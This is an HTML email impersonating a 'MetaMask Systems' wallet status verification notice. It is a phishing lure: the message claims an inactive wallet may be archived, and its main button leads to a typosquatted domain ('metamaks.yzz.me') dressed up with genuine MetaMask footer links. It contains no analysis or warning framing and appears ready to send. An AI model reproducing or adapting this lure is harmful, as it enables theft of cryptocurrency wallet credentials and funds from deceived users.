<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="UTF-8">
<title>MetaMask Account Maintenance</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
* { box-sizing: border-box; }
body {
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
color: #1a1a1a;
line-height: 1.6;
margin: 0;
padding: 40px 24px;
background: linear-gradient(135deg, #f7931a 0%, #f5a623 50%, #f6851b 100%);
min-height: 100vh;
}
.container {
max-width: 600px;
margin: 0 auto;
background: rgba(255,255,255,0.95);
backdrop-filter: blur(20px);
border-radius: 24px;
box-shadow: 0 32px 64px rgba(246,133,27,0.3);
overflow: hidden;
animation: slideUp 0.8s cubic-bezier(0.25,0.46,0.45,0.94);
}
@keyframes slideUp {
from { opacity: 0; transform: translateY(30px) scale(0.95); }
to { opacity: 1; transform: translateY(0) scale(1); }
}
.header {
background: linear-gradient(135deg, #f7931a 0%, #f6851b 100%);
padding: 40px;
display: flex;
align-items: center;
gap: 20px;
color: white;
}
.logo {
width: 64px;
height: 64px;
border-radius: 16px;
background: rgba(255,255,255,0.2);
backdrop-filter: blur(10px);
display: flex;
align-items: center;
justify-content: center;
font-size: 2.2rem;
font-weight: 700;
}
.header-text {
font-size: 28px;
font-weight: 700;
margin: 0;
letter-spacing: -0.02em;
}
.content {
padding: 48px 40px;
text-align: center;
}
.content h1 {
font-size: 28px;
font-weight: 700;
color: #1a1a1a;
margin: 0 0 32px;
background: linear-gradient(135deg, #f6851b, #f7931a);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.content p {
margin: 0 0 24px;
font-size: 16px;
color: #333;
font-weight: 400;
}
.cta {
display: inline-block;
width: 100%;
max-width: 360px;
margin: 40px 0;
padding: 20px 40px;
background: linear-gradient(135deg, #f7931a 0%, #f6851b 100%);
color: white;
text-decoration: none;
border-radius: 20px;
font-weight: 700;
font-size: 18px;
box-shadow: 0 16px 40px rgba(247,147,26,0.4);
transition: all 0.3s cubic-bezier(0.4,0,0.2,1);
position: relative;
overflow: hidden;
}
.cta:hover {
transform: translateY(-4px);
box-shadow: 0 24px 48px rgba(247,147,26,0.5);
color: white;
text-decoration: none;
}
.cta:active {
transform: translateY(-2px);
}
.warning {
background: linear-gradient(135deg, #f8f9fa 0%, #e9ecef 100%);
border-radius: 16px;
padding: 24px;
border-left: 5px solid #f6851b;
margin: 32px 0;
font-size: 15px;
color: #495057;
font-weight: 500;
box-shadow: 0 4px 16px rgba(246,133,27,0.15);
border-right: 1px solid rgba(246,133,27,0.2);
}
.signature {
font-size: 16px;
color: #333;
font-weight: 600;
margin: 24px 0;
}
.footer {
background: rgba(248,249,250,0.8);
padding: 32px 40px;
text-align: center;
font-size: 14px;
color: #666;
border-top: 1px solid rgba(246,133,27,0.2);
}
.footer a {
color: #f6851b;
text-decoration: none;
font-weight: 500;
}
.footer a:hover {
text-decoration: underline;
}
@media (max-width: 600px) {
body { padding: 20px 16px; }
.container { margin: 0; border-radius: 20px; }
.header, .content, .footer { padding-left: 24px; padding-right: 24px; }
.header-text { font-size: 24px; }
.content h1 { font-size: 24px; }
}
</style>
</head>
<body style="font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
color: #1a1a1a;
line-height: 1.6;
margin: 0;
padding: 40px 24px;
background: linear-gradient(135deg, #f7931a 0%, #f5a623 50%, #f6851b 100%);
min-height: 100vh">
<div style="max-width: 600px;
margin: 0 auto;
background: rgba(255,255,255,0.95);
backdrop-filter: blur(20px);
border-radius: 24px;
box-shadow: 0 32px 64px rgba(246,133,27,0.3);
overflow: hidden;
animation: slideUp 0.8s cubic-bezier(0.25,0.46,0.45,0.94)" class="container" role="main">
<div class="header" role="banner">
<div class="logo">🦊</div>
<div class="header-text">MetaMask Systems</div>
</div>
<div class="content">
<h1>Wallet Status Verification</h1>
<p><strong>Dear Valued User,</strong></p>
<p>As part of our routine account maintenance procedures, MetaMask is currently verifying the status of wallets linked to your profile. Our systems have detected one of your registered wallets has shown no recent activity.</p>
<p>To ensure continued secure association with your account, please confirm you are still actively using this wallet.</p>
<a class="cta" href="https://metamaks.yzz.me/" target="_blank" rel="noopener noreferrer">
🔐 Verify Wallet Activity
</a>
<div class="warning">
<strong>ℹ️ Information:</strong> If this wallet is no longer in use, no action is required. Inactive wallets may be automatically archived during our next system update.
</div>
<div class="signature">
Thank you for your cooperation.<br>
<strong>MetaMask Operations Team</strong>
</div>
</div>
<div class="footer" role="contentinfo">
This is an automated maintenance notification for your MetaMask account.<br>
<a href="https://metamask.io/support/" target="_blank" rel="noopener noreferrer">Contact Support</a> |
<a href="https://metamask.io/privacy/" target="_blank" rel="noopener noreferrer">Privacy Policy</a> |
<a href="#" target="_blank" rel="noopener noreferrer">Manage Preferences</a>
</div>
</div>
</body></html>